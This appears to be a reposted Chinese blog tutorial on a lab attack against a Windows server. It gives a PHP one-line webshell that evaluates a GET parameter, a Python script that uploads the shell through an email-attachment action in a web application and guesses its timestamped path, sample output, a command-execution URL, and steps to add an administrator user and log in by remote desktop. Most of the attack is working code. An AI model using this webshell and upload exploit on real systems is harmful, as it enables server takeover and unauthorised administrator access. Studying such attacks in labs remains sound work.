一句話木馬的簡單例子 網站webshell & 遠程連接


一  概述

本地 kail  linux

目標 windows nt 服務器

 

二 過程

首先編寫一句話木馬  index.php

一句話木馬的原理就是把C=xxx 字符串當成php語句執行

注意這里用了GET,因為嘗試過POST不成功

<?php eval(@$_GET['c']);?>

編寫 上傳腳本 index.py

import requests
base_url='http://192.168.1.4/'
url_for_time='index.php?module=eventregistration&action=eventsCalendar'
url_for_upload='index.php?module=eventregistration&action=emailRegistrants&email_addresses=123456789@123.com&email_message=1&email_subject=1'

files={'attach':open('index.php','rb')}

requests.post(base_url+url_for_upload,files=files)

print 'upload finish'

r=requests.get(base_url+url_for_time)
html1=r.content
#print html1
index=r.content.find('History.pushState')
if index:
    time=html1[index:index+60].split('rel')[1].split('\'')[1]
else:
    print 'something wrong'
    exit(0)
print "get time:"+ time

for i in range(int(time),int(time)-20,-1):
    shell_url=base_url+'tmp/'+str(i)+'_index.php'
    r2=requests.get(shell_url)
    if r2.status_code==200:
        print "shell is here : "+shell_url

通過本地kali運行腳本上傳到服務器,並獲取shell地址

root@simpleedu:~# python index.py
upload finish
get time:1582759067
shell is here : http://192.168.1.4/tmp/1582759065_index.php

 

通過本地瀏覽器訪問

http://192.168.1.4/tmp/1582759065_index.php

此時可以在瀏覽器運行php代碼.cmd命令

 

 

然后查看遠程連接端口號。過程可以見前一篇博客。下面只給出截圖。得到服務器遠程連接端口35155

 

 

然后加入新用戶並設置為管理員組

 

 

 

 

 

 

 

然后rdesktop 遠程連接

 

 

這樣就能管理員權限直接訪問

 

 

 

 

三 其他

也可以寫成

http://192.168.1.4/tmp/1582736761_index.php?c=phpinfo();system(“netstat”);

多條語句同時執行

 

另外windows的文件訪問權限有點東西:

我已經把hacker添加到了administrators 組,還是沒辦法打開某個文件。

解決辦法是

修改了所有者為hacker

以及更改hacker權限為讀

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM